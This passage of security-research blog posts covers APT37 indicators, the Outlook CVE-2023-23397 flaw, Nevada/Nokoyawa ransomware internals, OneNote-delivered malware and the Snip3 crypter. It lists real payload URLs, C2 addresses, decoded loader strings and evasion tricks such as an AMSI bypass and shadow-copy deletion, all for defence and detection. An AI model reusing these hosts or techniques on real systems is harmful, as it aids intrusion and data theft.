af89179ef2c8365ca413fed8553159fa shinhancard_20220218.chm b7b1095620b8629c73191d5c05afc446 z email content.chm 681a21cb83e82da88f42f9fb0dd764b6 다문화 문제 답-추가.chm 5f2dcb1e51c8d574f43c8f7c7f84d9fa 취임식 관련 자료.chm 72a38aa3e128d2ffca141a41a4101dca 황선국-차예실의 요르단 이야기-34.chm 632104e97870c1177c211f5e2d963b75 요약문.chm ffba3072600a1f06d260137f82371227 공지사항.chm e557693cc879beeb1a455cac02724ea7 보안메일.chm 71389f565a5ebe573c94d688fa6f23ea 통일교육11.chm 920ccffa488d2b0e9aa19acc5f31fc3a 제로깅크루_명단.chm 7c53f15614d5f9cf2791cb31811893a7 폴리프라자Ⅲ, 4월 근무 현황.chm fb60a976bbed174effa6081a35abee87 사업유치제의서-목차.chm bca3f0b4a5a1cbcd3efa1ca0df7f0d4b 통일미래최고위과정_입학지원서.chm LNK files MD5 hash Filename eb7a6e3dc8bbc26f208c511ec7ee1d4c LG유플러스_이동통신_202208_이_선.html.lnk c5f954436e9623204ed961b9b33e769d 계약사항 안내문_1.pdf.lnk Appendix # Please note that most of the HWP files mentioned below are clean decoy files used by the threat actor. The original filenames are included to give the reader insights into the themes used. MD5 hash Filename 808fda00b7aa114182ba0ad9668ad4fb (227183-F)_사업진행상태보고서.hwp 6566697d2b2b7b562f3e4f74986ae341 1.일반설계기준.hwp 70b327e1a2cf7863004436080848eddc 2020_normal_ko.hwp b8addd3c9e0c7f1ed8d4aafcb582e755 2021년 ICT융합 스마트공장 구축 및 고도화 사업 최종감리보고서(엠플러스에프엔씨, 인버스, 정찬혁)_초안.hwp 07ad22218f9dc7da63b880ae5a65a177 2022년 외국인 주민교류를 통한 기술인으로 진로 직업지도사업.hwp de5319b8a5674994e66b8668b1d9884f 220915 수정.hwp a4706737645582e1b5f71a462dd01140 3. 개인정보보완서약서_북주협.hwp d49ef08710c9397d6f6326c8dcbf5f4e 3사복지업무홍보.hwp 96900e1e6090a015a893b7718d6295dd K-MOOC 수기 공모 이벤트.hwp b35c3658a5ec3bd0e0b7e5c6c5bc936f RFQ_소각 및 발전설비 건설공사-보고-0614-Ver1.hwp 0ccb1c52b3de22b49756a2608cddd2e9 UN 대북제재위원회 전문가 패널 보고서.hwp d891219a50b17724228f9ae8c7494bbf UN 대북제재위원회 전문가 패널 보고서」요약.hwp cac2d25c8e173c896eff0dd85f09c898 [붙임] 제20대 대통령선거 제1차 정책토론회 시청 안내문-복사.hwp ad922c7f0977c4aefcbc2c089cce8b66 제39기 모집요강 및 입학지원서-재송.hwp 48153ac26eb10473b60e4011f5e004e9 제8회 전국동시지방선거 제1차 정책토론회 시청 안내.hwp 0de54a8109f54c99d375fc0595649175 논문 자료.hwp 0de54a8109f54c99d375fc0595649175 사업 제안.hwp bf478b6b500c53e05741e3955630182f 오피스 365 + 설치설명서 입니다.hwp 7b29312a0f8d9a7d2354843f7c9c21ea 텅스텐 W 99.hwp 6b8acab4941dcfb1dbe04bc9477e7605 다문화 문제 답(12. 5 업데이트).hwp 8591125c0a95f8c1b1e179901f685fa3 인터뷰(22. 9. 14).hwp f1bd01dc27fe813aeade46fe55bd9e2e 황선국-차예실의 요르단 이야기-34.hwp ff072f99ea6d04c0a4ff0ab9d23440fc 접수증-삼주글로벌 법인세 신고서 접수증.hwp 35f9802b98105fa72ec34d2b02649655 공고문.hwp 5228e631cdd94ec8d8c9d68e044236f1 위임장.hwp 5bdd6ad0c17ee2a1057bf16acb86f371 확인서.hwp c09bedb49199b09bcb362ba5dadcd22a 함께가는 평화의 봄_과업지시.hwp a2aeb5298413c2be9338084060db3428 동남아와 국제정치(기말레포트).hwp f8f994843851aba50ca35842b4cca8a3 행사안내.hwp 6deceb3e2adff0481b30efe27e06542e 백산연구원 소방서 제출용.hwp 0fd7e73e6672adaa1e5cf2dfca82e42e 서식1, 4 강사이력서 및 개인정보동의서_북주협.hwp e5afbbfa62efd599a1ab2dade7461d62 폴리프라자Ⅲ, 4월 근무 현황.hwp 2e57c30259e5c33779940ce9a9f91378 산업가스용도.hwp c775aef36bc4b1b9a2b14fae46521c0e 서영석고객님.hwp aa84bdaf877d70c744ce1982395ad37c 자문결과보고서(양식).hwp 19dabc553ee3c3bcd166411365e2dd56 비대면_서비스_보안_취약점_점검_신청서.hwp 6bf6de967ca6324106a0700715a9e02b 중고맨거래명세서.hwp 0bcda05d3f4054dd5fb571a634afe10a 정기총회안내공문_2022.hwp 68603ba44b58f4586deeb571cf103e0c 통일미래최고위과정_입학지원서_양식.hwp 670f8697d7c46757745be0322dfdd2ab 노원도시농업네트워크.hwp c47428fe38bec9424b75aa357113d9dc 사단법인 공문 (2022.12호)_2022년도 평화통일교육사업 함께가는 평화의 봄.hwp Tue, 21 Mar 2023 08:30:01 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37 Coverage Advisory for CVE-2023-23397: Microsoft Outlook Elevation of Privilege Vulnerability https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability Background: On 14th March 2023, Microsoft released a security update guide for a critical severity vulnerability CVE-2023-23397. This vulnerability targets Microsoft Outlook and allows NTLM credentials theft which could be used for privilege escalation attacks. What is the issue? An attacker can send an email to the victim with an extended MAPI (Microsoft Outlook Messaging API) property with a UNC (Universal Naming Convention - A string format that specifies the location of a resource) path to an attacker-controlled SMB (TCP 445) share. Once Outlook receives this message it initiates a NTLM authentication with this SMB share server. There is no user interaction required to trigger this vulnerability. The attacker can then use this connection's NTLM negotiation message and relay this authentication against other systems that support NTLM authentication. According to Microsoft “An attacker who successfully exploited this vulnerability could access a user's Net-NTLMv2 hash which could be used as a basis of an NTLM Relay attack against another service to authenticate as the user” What systems are impacted? This impacts all versions of Microsoft Outlook for Windows. As per the Microsoft blog other versions of Microsoft Outlook such as Android, iOS, Mac, as well as Outlook on the web and other M365 services are not affected Microsoft Outlook 2016 (64-bit edition) Microsoft Outlook 2013 Service Pack 1 (32-bit editions) Microsoft Outlook 2013 RT Service Pack 1 Microsoft Outlook 2013 Service Pack 1 (64-bit editions) Microsoft Office 2019 for 32-bit editions Microsoft 365 Apps for Enterprise for 32-bit Systems Microsoft Office 2019 for 64-bit editions Microsoft 365 Apps for Enterprise for 64-bit Systems Microsoft Office LTSC 2021 for 64-bit editions Microsoft Outlook 2016 (32-bit edition) Microsoft Office LTSC 2021 for 32-bit editions Microsoft has also provided impact assessment scripts at https://aka.ms/CVE-2023-23397ScriptDoc and detailed the steps to run the script to evaluate the impact. What can you do to protect yourself? Install the Microsoft Outlook Security update to mitigate the issue. Block all outbound TCP445/SMB connections from going outside your network. The Microsoft security guide for this CVE also suggests adding users to Protected Users Security Group which prevents the use of NTLM authentication mechanism. This mitigation could be applied till the security updates are applied since this can impact applications that use NTLM authentication for their regular operation. This can be used to protect high value domain admin accounts. Once the security updates are applied the users can be moved out of the protected users security group allowing them to use NTLM authentication again. Zscaler coverage Advanced Threat Protection HTML.Exploit.CVE-2023-23397 We have added coverage for known exploit attempts and are working to add a more generic detection for this vulnerability. Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Fri, 17 Mar 2023 17:23:16 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability Nevada Ransomware: Yet Another Nokoyawa Variant https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokoyawa-variant Key Points Nevada ransomware was advertised in criminal forums in December 2022 as part of a new ransomware-as-a-service affiliate program Nevada is written in the Rust programming language with support for Linux and 64-bit versions of Windows Zscaler ThreatLabz has identified significant code similarities between Nevada and Nokoyawa ransomware including debug strings, command-line arguments and encryption algorithms The Nokoyawa ransomware codebase has been continuously modified with at least four distinct variants (including Nevada) that have emerged since February 2022 The Nokoyawa threat group appears to operate two parallel code branches written in different programming languages designed to confuse researchers and evade detection Zscaler ThreatLabz has been tracking the Nokoyawa ransomware family and its predecessors including Karma and Nemty ransomware. The original version of Nokoyawa ransomware was introduced in February 2022 and written in the C programming language. File encryption utilized asymmetric Elliptic Curve Cryptography (ECC) with Curve SECT233R1 (a.k.a. NIST B-233) using the Tiny-ECDH open source library combined with a per file Salsa20 symmetric key. In September 2022, a Rust-based version of Nokoyawa ransomware was released. This new version used Salsa20 for symmetric encryption, but the ECC algorithm was replaced with Curve25519. In December 2022, Nevada ransomware was advertised in criminal forums. ThreatLabz has determined that Nevada shares significant code with the Rust-based variant of Nokoyawa. In January 2023, ThreatLabz also identified another version of Nokoyawa written in C that is similar to the original version, but uses the same configuration options (passed via the command-line) as the Rust-based Nokoyawa 2.0. In this blog, we analyze Nevada ransomware and how it compares to the other versions of Nokoyawa ransomware. Based on the numerous similarities, the Nokoyawa threat group appears to utilize two separate branches for ransomware attacks. Technical Analysis ThreatLabz has identified at least four distinct versions of Nokoyawa ransomware. For clarity, we will use the version numbers 1.0, 1.1, 2.0 and 2.1 (Nevada) based on code similarities. Table 1 illustrates the similarities and differences between all four versions of Nokoyawa ransomware including Nevada. Attribute Nokoyawa 1.0 Nokoyawa 1.1 Nokoyawa 2.0 Nokoyawa 2.1 (Nevada) Encryption algorithms SECT233R1 + Salsa20 SECT233R1 + Salsa20 X25519 + Salsa20 X25519 + Salsa20 Encryption library Tiny-ECDH Tiny-ECDH x25519_dalek x25519_dalek Programming language C/C++ C/C++ Rust Rust Encryption Parameters Hardcoded Passed via command-line Passed via command-line Hardcoded Import Hashing No Yes No No CIS Exclusion No No Yes Yes Architecture x64 x64 x64 x64 Earliest known compilation date February 2022 January 2023 September 2022 January 2023 Table 1. Comparison between different versions of Nokoyawa ransomware There are a few commonalities between all Nokoyawa variants such as being compiled only for 64-bit versions of Windows and using a relatively obscure method to delete Windows Shadow Copies. The latter entails calling the function DeviceIoControl (shown in Figure 1) with the undocumented control code parameter IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE (0x53C028) with a maximum size of 1, which causes Windows to delete all shadow copies as a result. Figure 1. Nokoyawa/Nevada code to delete Windows Shadow Copies All versions of Nokoyawa support the command-line parameters --file (to encrypt a single file) and --dir (to encrypt a directory). However, Nokoyawa 1.1 and 2.0 require a configuration to execute the ransomware via the --config command-line parameter. The configuration parameter is a Base64 encoded JSON object that has the following keys and values shown in Table 2. Key Description NOTE_NAME Ransom note filename NOTE_CONTENT Ransom note content EXTENSION Encrypted file extension (also used as the Salsa20 nonce) ECC_PUBLIC Curve25519 public key SKIP_EXTS File extensions that will not be encrypted SKIP_DIRS Directories that will not be encrypted ENCRYPT_NETWORK Encrypt network shares DELETE_SHADOW Delete Windows shadow copies LOAD_HIDDEN_DRIVES Unhide hidden drives and encrypt files Table 2. Nokoyawa 1.1 and Nokoyawa 2.0 ransomware configuration parameters Nokoyawa 1.1 also has a --safe-mode command-line option to reboot the system into Windows safe mode prior to file encryption to maximize the number of files that can be encrypted by loading the minimal set of applications, and therefore, minimize the number of open file handles that may interfere with encryption. In addition, Nokoyawa 1.1 is the only variant that obfuscates the Windows API functions that are called during runtime by resolving each name via CRC32 hash. In Nevada ransomware, the encryption parameters are hardcoded in the binary, but the other command-line options are virtually identical to Nokoyawa 1.1 and 2.0 (with the exception of a new feature to self-delete the ransomware binary after file encryption is complete). Nevada also supports a -help command-line argument, which prints the usage shown below in Figure 2. Figure 2. Nevada ransomware command-line help In order to reduce the risk of law enforcement actions, Both Nokoyawa 2.0 and Nevada check whether the infected system is located in a former Commonwealth of Independent States (CIS) country. The former calls the Windows API GetSystemDefaultLCID for language IDs (between 1049-1092 or 2073) and the latter calls GetUserDefaultUILanguage (between 1049-1090) to determine the system's locale and language, respectively. Some of these language IDs include countries outside of the CIS countries, which may be to simplify the code by adding a range of values rather than individually checking each value. Nokoyawa 1.0 and Nokoyawa 1.1 share about 39% of the same code, while Nokoyawa 2.0 and Nevada share more than 87% of the same code according to BinDiff. Debug Print Statements Another similarity between Nokoyawa 2.0 and Nevada are debug print statements, which are very similar or identical. Figure 3 shows an example for a function that creates a thread and prints a debug statement to the console. Figure 3. Comparison of CreateThread function and debug print statements in Nokoyawa 2.0 (left) and Nevada (right) Many strings have also been slightly altered between Nokoyawa 2.0 and Nevada as shown in Table 3. Nokoyawa 2.0 Nokoyawa 2.1 (Nevada) CIS lang detected! Stop working... CIS. STOP! Successfully deleted shadow copies from Shadow copies deleted from Couldn't create ransom note Failed to create ransom note Couldn't seek file: Failed to seek file: Couldn't read file: Failed to read file: Couldn't write to file: Failed to write file: Couldn't rename file Failed to rename file Table 3. Comparison between debug print strings in Nokoyawa 2.0 (left) and Nevada (right) Encryption Algorithms Nokoyawa 1.0 and 1.1 use the elliptic curve SECT233R1 (NIST B-233) via the Tiny-ECDH library to generate a per file Salsa20 key. Nokoyawa 2.0 and Nevada use Curve25519 via the open source x25519_dalek Rust library to derive a Salsa20 encryption key per file. In Nokoyawa 1.1 and 2.0, the file extension (as described in Table 2) is used as the nonce. The original version of Nokoyawa and Nevada ransomware use the hardcoded nonce values lvcelvce and pmarpmar, respectively. Conclusion Zscaler ThreatLabz has identified two parallel versions of Nokoyawa ransomware with implementations in C and Rust. These two branches may be indicative of a source code leak, or designed to evade host-based security software and divert attention. In conclusion, Nevada ransomware appears to be the latest variant of the Rust-based version of Nokoyawa rather than an entirely new ransomware family. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Nokoyawa at various levels with the following threat names: Win64.Ransom.NOKOYAWA Indicators of Compromise SHA256 Description a32b7e40fc353fd2f13307d8bfe1c7c634c8c897b80e72a9872baa9a1da08c46 Nokoyawa ransomware 1.0 3339ba53e1f05f91dbe907d187489dbaba6c801f7af6fd06521f3ba8c484ec6c Nokoyawa ransomware 1.1 7095beafff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3de0efd6 Nokoyawa ransomware 2.0 855f411bd0667b650c4f2fd3c9fbb4fa9209cf40b0d655fa9304dcdd956e0808 Nokoyawa ransomware 2.1 (Nevada) Mon, 06 Mar 2023 10:07:50 -0800 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokoyawa-variant OneNote: A Growing Threat for Malware Distribution https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution Attackers are increasingly using OneNote documents to distribute malware, due to the heightened security measures against macro-based attacks and the widespread adoption and popularity of the platform. Analyzing several related case studies, this article showcases the obfuscation techniques used by threat actors to bypass threat detection measures and deceive users into executing malware on their systems via OneNote. Key Takeaways: Threat actors are increasingly using Microsoft OneNote documents to deliver malware via phishing emails. OneNote is installed by default in all Microsoft Office/365 installations, even if a Windows user does not use the application, it is still available to open the file format because it is easy to deceive a user to run a malicious OneNote Document. Previously Threat actors target users with malicious macro enabled documents but, in July 2022, Microsoft disabled Macros by default on all Office applications, making this approach unreliable for distributing malware. The advantage of OneNote documents is that they can embed similar malicious code as macro/VBA office documents with less detection. Also MSHTA, WSCRIPT, and CSCRIPT can be executed from within OneNote and attackers can use multi-layer obfuscation with this script to bypass threat detection. OneNote Document can run the following types of scripts CHM, HTA, JS, WSF, and VBS. ThreatLabz detected various types of malware distributed through OneNote documents including Bankers, Stealers and RAT (Remote-Access-Trojan). Why OneNote? Attackers have shifted from using traditional macro-based attacks to using Microsoft OneNote as a delivery mechanism for malware. OneNote has become an increasingly attractive vector for attackers due to its popularity, wider reach, lack of awareness and security measures, and ability to integrate with other Microsoft products. Attackers use OneNote to deliver malicious payloads by obfuscating the content and exploiting the trusted application status of OneNote. Specific reasons for this shift include: Increased Security Measures: Due to the growing awareness of macro-based attacks, many organizations have been implementing security measures to prevent such attacks. As a result, it has become more challenging for attackers to deliver malware through these attacks. Furthermore, in July 2022, Microsoft disabled Macros by default on all Office applications, rendering this approach unreliable for malware distribution. OneNote's Popularity and Wider Reach: OneNote's popularity as a widely used note-taking application and its ability to embed different types of content make it a useful tool for attackers to distribute malware. It is pre-installed in all Microsoft Office/365 installations, meaning that even if a Windows user does not use the application, the file format is still available for malicious OneNote documents to deceive a user into running them. Lack of Awareness and Security Measures: Exploits in Microsoft OneNote are not as well-known as macro-based attacks, which often leads to organizations not having sufficient security measures to prevent these types of attacks. Evasion Techniques: Although the "Mark of the Web" is a Windows security feature that protects users from potentially harmful content downloaded from the internet, OneNote does not propagate this feature on its attachments. This allows attackers to embed unsigned executables or macro-enabled documents without triggering Microsoft's recent security restrictions. Trusted Application and Microsoft Integrations: Due to OneNote being a trusted application, users may be more inclined to interact with files from this application compared to other types of attachments or links. Additionally, OneNote can be integrated with other Microsoft products such as Office and OneDrive, which makes it easier for attackers to spread malware through these products as well. To detect and mitigate these attacks, organizations must implement security measures to detect malicious content and malicious payloads, as well as leverage tools like OneNoteAnalyzer, a valuable resource developed by ThreatLabz Researcher Niraj to streamline and expedite the process of analyzing suspicious artifacts in OneNote Documents. Fig.1 - Open source OneNoteAnalyzer tool developed by a ThreatLabz researcher Case Study-1: RAT Starting in December 2022, attackers have been using OneNote files to distribute Remote Access Trojans (RAT) such as AsyncRAT, Quasar RAT, NetWire, and Xworm. These RATs use complex obfuscation techniques with OneNote files in order to evade detection by security software. During the course of the investigation, researchers found the file containing the malicious payload disguised under the misleading name "PaymentAdv.one". Fig.2 - OneNote phishing document After analyzing the file with OneNoteAnalyzer, researchers uncovered that the attack was carried out by dropping and executing a batch file called "zoo1.bat". Fig.3 - Malicious files extracted from OneNote document The batch file was obfuscated and contained an encrypted blob at the start, followed by heavily obfuscated PowerShell code. Fig.4 - Obfuscated batch file By removing the "@echo off" line and adding "echo" to the start of each line in the batch file, researchers were able to decode the file's activities and log the output as shown in the screenshot below. Fig.5 - Commands executed by “zoo1.bat.exe” The log indicated that the batch file had copied and disguised the malicious program as "zoo1.bat.exe" in an attempt to hide its activities. The Powershell code associated with it was obfuscated and difficult to comprehend, so researchers manually pretty print to deobfuscate and reformat the file, making it more readable as demonstrated in the screenshot below. Fig.6 - Obfuscated Powershell code in readable format After deobfuscation, researchers discovered that the script used base64 encoding to split the encrypted blob seen in the initial batch file into its actual data, AES key, and index using the backslash character. With these values, the script was able to decrypt the data and decode it using gzip encoding to reveal the final executable. Fig.7 - AES Key and IV identified in the blob Now lets the cook the above recipe using Cyberchef and check what does it results: Fig.8 - Decrypted payload extracted using CyberChef Similarly we can decode the second blob which will also result in a Portable Executable (PE) file. Fig.9 - AgileDotNet Packed AsyncRAT Payload The resulting file is a .NET File packed with AgileDotNet, which was revealed to contain a malicious AsyncRAT payload after deobfuscating and unpacking with the .NET Kali Linux tool known as de4dot. Case Study-2: Banker Starting in January 2023, Qakbot began experimenting with OneNote files as a vector to deliver malware. Researchers subsequently observed IcedID doing the same, using OneNote files with embedded HTML applications (HTA files with .hta extension). The following figure illustrates how IceID's OneNote Malspam (malware spam) is distributed and executed. Fig.10 - IcedID Attack Chain & execution flow. The phishing email from the attacker includes an attachment named "unpaid_4178-February-03.one", which is a OneNote file containing a fake Microsoft 365 page. The page appears to contain a cloud attachment and deceives the user into double-clicking to view it, thereby initiating the IcedID infection process. Fig.11- Fake MS 365 page. When the user clicks on the "View" button within the OneNote attachment, an .hta file is silently dropped into the Temp directory of the compromised system without any type of notification. This action triggers the download of both the IcedID malware payload and a decoy PDF file called "invoice.pdf" that displays phony invoice information. Fig.12 - Execution of HTA file. Fig. 13 - Process tree of OneNote execution. Upon further observation, it was noted that the IcedID malware infection was followed by the download and execution of a Powershell script, which in turn downloaded the Cobalt Strike DLL beacon. This behavior is similar to previous variants of IcedID and Qakbot, where they infect the system with Cobalt Strike approximately 45 minutes after the initial infection. Fig.14 - Powershell script to download CobaltStrike. Continued analysis of the increasing number of OneNote samples has uncovered an intriguing method employed by Qakbot to download and execute its payload. When the user clicks the "Open" button in the OneNote file, the HTA file is dropped into the Temp directory of the infected system. The HTA file utilizes JavaScript to deobfuscate the obfuscated data from the <div> element. Following this, VBScript creates a registry key and stores the deobfuscated data in it. A separate JavaScript code creates a WshShell object and executes Curl to download the Qakbot payload. Fig.15 - Qakbot OneNote obfuscation. It has also been observed that the latest OneNote Qakbot samples have altered their execution flow. Instead of using HTA files, they are now dropping CMD files to download and execute the final payload. Onenote -> cmd -> powershell -> rundll32 (final Qakbot payload). Fig.16. - New Qakbot OneNote execution. Case Study-3: Stealer Numerous RATs and banking malware have been observed spreading through OneNote since the malware campaign began, with Qakbot malware being the most prevalent. However, only Redline has been identified as distributing through OneNote files in the stealer category. Recently, a suspicious OneNote sample was discovered due to its network activity. Fig.17 - Phishing document malicious content After using the onedump.py tool by Didier Stevens to analyze the sample, multiple data blobs were discovered. Stream 2, 3, and 5 contained HTML files with hidden code. After dumping the files, it was discovered that two of them used URL encoding for obfuscation. CyberChef was used to decode the scripts, which were revealed to be VBScript files that download payloads from malicious URLs and execute them using the Start-Process command. Fig.18 - Decoded text from encoded HTA files. The third file underwent multiple layers of obfuscation before revealing the final binary. It was first encoded with URL encoding and then subjected to several layers of base64 encoding. Additionally, it used the gzip library to decode the final code. The output of the decoded code was a PowerShell file path, presumably for use in later stages of execution. Fig.19 - Decoded Script After investigating the downloaded payloads from the scripts, we discovered one payload located at https://oiartzunirratia[.]eus/install/clean/Lcovlccdxd.exe. This file was found to be a .NET file encrypted with a pureCrypter. Through analyzing its configuration, we identified this payload as Redline. The configuration of the final payload includes the following details: { "C2 url": [ "194.26.192.248:7053" ], "Bot Id": "cheat" } During the analysis of this sample, it was discovered that it is distributed through the Telegram group "NET_PA1N Reborn," which operates as a Malware-as-a-Service (MaaS) provider. The group sells their own Crypter and Stealer named "Youhacker Crypter" and "Youhacker Stealer" as well as popular Remote-Access-Trojans (RATs) and Stealers. Fig.20 - Telegram group mentioned in OneNote. Fig.21 - YouHacker stealer and crypter. Conclusion In recent months, a OneNote malware campaign has been observed spreading RATs, Bankers, and Stealer category malware. One of the most frequently seen malware in this campaign is Qakbot. However, Redline has also been observed distributing through OneNote files. Threat actors are continuously experimenting with initial attack vectors to evade detection and deceive users into executing malware. They have adapted this new technique using OneNote to distribute their malware, as many antivirus engines have not caught up with inspecting and detecting malicious OneNote files attached to email. Zscaler's ThreatLabz team is continuously monitoring the campaign and sharing new findings. During their investigations, Zscaler has discovered various samples of OneNote malware with different payloads, encoding, and obfuscation techniques. They have analyzed the behavior of these samples and identified their MITRE ATT&CK techniques. Some of the samples have been distributed through a Telegram group named "NET_PA1N Reborn," where they are working as a Malware-as-a-Service (Maas) and selling their own crypter and stealer along with RATs and other Stealers. Zscaler Sandbox Coverage The behavior of various files was analyzed by Zscaler Sandbox, displaying threat scores and the number of MITRE ATT&CK techniques triggered, as shown in the screenshots below. Fig.22 - Zscaler Sandbox report for AsyncRAT. Fig.23 - Zscaler Sandbox report for IcedID. Fig.24 - Zscaler Sandbox report for CobaltStrike. Fig.25 - Zscaler Sandbox report for Redline Zscaler’s multilayered cloud security platform detects payloads with following threat names: Win32.Backdoor.AsyncRAT Win64.Banker.Icedid Win64.Backdoor.CobaltStrike Win32.Banker.Qakbot Win32.PWS.Redline MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Initial Access T1566 Phishing Execution T1204 T1059 T1047 User Execution Command and Scripting Interpreter Windows Management Instrumentation Defense Evasion T1027 T1070.004 T1112 T1218.011 T1218.005 Obfuscated Files or Information File Deletion Modify Registry System Binary Proxy Execution: Rundll32 System Binary Proxy Execution: Mshta Command and Control T1071 T1095 Application Layer Protocol Non-Application Layer Protocol Indicators of Compromise (IOCs): Case Study-1: [+] MD5: e9f0dbbd19ef972dd2fc163a4b34eae1 = AsyncRAT OneNote File 19905a73840430e28c484b97546225c6 = Dropped Batch File 146f4f1c9b29e7505f275772378bfec9 = AsyncRAT payload1 1d9aa7c9aa3f8dc9dd58a38176ea36fe = AsyncRAT payload2 Case Study-2: [+] MD5: 5139af509129641b1d29edd19c436b54 = IcedID OneNote File 6b1e64957316e65198e3a1f747402bd6 = IcedID DLL Payload 6b500ad29c39f72cd77c150a47df64ea = CobaltStrike DLL Payload 4c6a40f40dcd0af8d5c41d0fcc8e4521 = Qakbot OneNote File (hta dropped) 3c7c265f618912d81856bf460bf19f61 = Qakbot OneNote File (cmd dropped) fa49fd13fc49ab38b97d2d019cc04b39 = CMD file to download Qakbot [+] Network Indicators: http://helthbrotthersg[.]com/view.png = IcedID Payload from OneNote File https://transfer[.]sh/get/vpiHmi/invoice.pdf = Decoy PDF http://ehonlionetodo[.]com = IcedID C2 http://167[.]172[.]154[.]189/36.ps1 = Powershell for CobaltStrike http://167[.]172[.]154[.]189/360702.dll = Cobalt Strike Payload https://thefirstupd[.]com = Cobalt Strike C2 https://myvigyan[.]com/m1YPt/300123.gif = Qakbot Payload (hta dropped) https://starcomputadoras[.]com/lt2eLM6/01.gif = Qakbot (cmd dropped) Case Study-3: [+] MD5: 973e87ec99502aac9a12f987748a812a = Redline OneNote File 39f3c510f46d605202844e35c07db84b = Dropped Hta File 1 558da264c83bfe58c1fc56171c90c093 = Dropped Hta File 1 C6ba1a7b2b90e18b6c25382453370169 = Dropped Hta File 1 d3713110654dc546bd5edc306a6e7efd = Redline payload [+] Network Indicators: https://somosnutrisalud[.]cl/installs/clean/payroll.exe = Payload1 https://wi-protect[.]com/install/Eulsm.exe = Payload2 https://oiartzunirratia[.]eus/install/clean/Lcovlccdxd.exe = Redline Payload 194[.]26[.]192[.]248:7053 =Redline C2 Url Wed, 01 Mar 2023 08:00:05 -0800 Meghraj Nandanwar https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution Snip3 Crypter Reveals New TTPs Over Time https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time Zscaler ThreatLabz researchers observed multiple threat campaigns utilizing the Snip3 crypter, a multi-stage remote access trojan (RAT) loader with new TTPs and available since 2021 as a crypter-as-a-service offering. The Snip3 Crypter service uses advanced evasion, obfuscation, and reflective code loading techniques in its multi-stage infection chain, along with new Tactics, Techniques, and Procedures (TTPs). As a crypter-as-a-service model, even less technically skilled threat actors can obtain and utilize this service in their attack campaigns against organizations. Due to the widespread use of the Snip3 Crypter, its developers provide frequent updates to enhance the crypter with new sophisticated techniques that can evade detection and effectively deploy the final Remote Access Trojan (RAT) payload on the targeted machines. ThreatLabz has recently identified use of the crypter with new TTPs deploying RAT families including DcRAT and QuasarRAT targeting victims across multiple industry verticals such as healthcare, energy and utilities, and manufacturing via spear phishing emails with subject lines related to “tax statements” in order to lure victims into execution. Below are the takeaways from the team’s in-depth analysis of the Snip3 Crypter campaign and the corresponding infection chain, which showcases the observed changes in the TTPs. Key Takeaways Threat actors utilize spear phishing emails with subjects related to "tax statements" as a bait to lure the victims into execution of the multi-staged infection chain. The top 3 targeted industries are: Healthcare Energy, oil, and gas Manufacturing Snip3 Crypter operates with new TTPs to deliver remote access trojans like DcRAT and QuasarRAT to targets. The following are the new techniques used in the Snip3 Crypter Infection chain: Malicious strings are fetched from database servers via ADODB connections AMSI bypass is performed by forcing an error In-memory stages are decrypted using hardcoded keys with custom decryption routines The final Snip3 RAT loader is downloaded from the server along with the corresponding user-agent containing system information Commands are received from the download server to decide the flow of execution for delivering the final RAT payload Infrastructure is shifted periodically to evade malicious domain-based detections URLs are shortened using TinyURL to download the Stage-2 and Stage-3 PS script User-agent changes are used to download the final stage and addition of version variable ($VER = 'v0.2') in the Stage-3 PS Script New Threat Campaign Analysis ThreatLabz has observed multiple Snip3 campaigns in the Zscaler Cloud targeting a variety of industry verticals. Healthcare emerged as the most targeted sector as shown in the graph below. Other targeted sectors include energy, manufacturing, materials, finance, retail, and technology. Organizations across these sectors should remain vigilant and deploy advanced security measures to protect against Snip3 Crypter and other such threats. Fig 1. Industry verticals targeted by the latest Snip3 crypter campaign(s) Here, the initial VBS payloads with the file-name “Releve Fiscal” (tax relief) were downloaded as an attachment via a phishing email with a subject line related to “tax statements” across 2022. Fig 2. The many observed Snip3 crypter campaigns and their dates The Infection Chain Fig 3. The Attack Chain The ongoing Snip3 campaign constitutes a complex and multifaceted attack, which uses a series of sophisticated evasion techniques and multiple obfuscated scripts. The latest version of the Snip3 crypter is utilized to implement new tactics, techniques, and procedures (TTPs), leading to the successful execution of the final payload and subsequent system infection. The attack is initiated through a spear phishing email that has the subject line "Download your tax statement" or, in French, "Télécharger votre relevé fiscal." The emails are designed to create a sense of urgency and importance, thereby enticing users to open the attached files without much consideration. This marks the start of the infection chain. Fig.4 Spear phishing email with tax statement bait and corresponding attachments The screenshot above shows that the email contains several attachments, including a corrupted PDF file named "Info.pdf" and a corrupted CSV file named "ID102332541.csv." These decoy files are included alongside the malicious script called "Votre Releve Fiscal-6.vbs" in order to deceive the user into running it. Stage-1: VBScript When the Stage-1 VBScript is executed, it establishes a connection to a database by creating an ADODB connection and record object. The details of the provider, including the data source, user ID, and password, are decrypted using an encoding method that utilizes the Chr and CLng functions, as illustrated in the screenshot below. Fig.5 Stage-1 VBScript decoding the provider details using Chr and CLng functions Decoding routine: Chr(657040/CLng(“&H13fae”)) -> Chr(657040/81838) -> Character “P” After decoding the provider details, the script proceeds to establish a connection to the SQL8001.site4now.net data source using the decoded user ID and password. If the connection is established successfully, it executes the following two database queries to retrieve the relevant data from the table: SELECT ID, NAME, AGE, PHONE From TBL_CUSTOMERS SELECT * From TBL_PRODUCTS The results of these queries are then processed using "SqlReader.Fields.Item[index_val]" to extract the values from each column, and the values are concatenated together as shown in the screenshot below. Fig.6 Execution and parsing of database queries The output from parsing and indexing the queries is saved into two variables named "CustomerInfo" and "ProductInfo." The variables are populated with the following values after the execution and query parsing: CustomerInfo = "Wscript.Shell" ProductInfo = "Powershell.exe -ExecutionPolicy RemoteSigned -Command" This technique allows the script to avoid detection from static-string-based 